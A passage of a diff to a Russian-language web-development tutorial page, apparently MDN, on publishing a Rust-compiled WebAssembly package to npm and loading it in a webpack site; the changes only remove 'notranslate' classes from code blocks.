class="shell language-shell">$ cd pkg $ npm publish --access=public </code></pre> @@ -236,14 +236,14 @@ $ npm publish --access=public <p>Давайте выйдем из нашей папки <code>pkg</code> и создадим новую, <code>site</code>, чтобы попробовать в ней следующее:</p> -<pre class="brush: bash notranslate"><code class="bash language-bash">$ cd ../.. +<pre class="brush: bash"><code class="bash language-bash">$ cd ../.. $ mkdir site $ cd site </code></pre> <p>Создайте новый файл, <code>package.json</code>, и поместите в него следующий код:</p> -<pre class="brush: json notranslate"><code class="json language-json">{ +<pre class="brush: json"><code class="json language-json">{ "scripts": { "serve": "webpack-dev-server" }, @@ -262,7 +262,7 @@ $ cd site <p>Дальше нам нужно сконфигурировать Webpack. Создайте <code>webpack.config.js</code> и введите следующее:</p> -<pre class="brush: js notranslate"><code class="javascript language-javascript">const path = require('path'); +<pre class="brush: js"><code class="javascript language-javascript">const path = require('path'); module.exports = { entry: "./index.js", output: { @@ -275,7 +275,7 @@ module.exports = { <p>Теперь нам нужен HTML-файл; создайте <code>index.html</code> и поместите в него:</p> -<pre class="notranslate"><code class="html language-html"><!DOCTYPE html> +<pre><code class="html language-html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -289,7 +289,7 @@ module.exports = { <p>Наконец, создайте <code>index.js</code>, на который мы сослались в HTML-файле, и вставьте:</p> -<pre class="brush: js notranslate"><code class="javascript language-javascript">const js = import("./node_modules/@yournpmusername/hello-wasm/hello_wasm.js"); +<pre class="brush: js"><code class="javascript language-javascript">const js = import("./node_modules/@yournpmusername/hello-wasm/hello_wasm.js"); js.then(js => { js.greet("WebAssembly"); }); @@ -301,7 +301,7 @@ js.then(js => { <p>Мы закончили! Давайте попробуем:</p> -<pre class="brush: bash notranslate"><code class="shell language-shell">$ npm install +<pre class="brush: bash"><code class="shell language-shell">$ npm install $ npm run serve </code></pre> |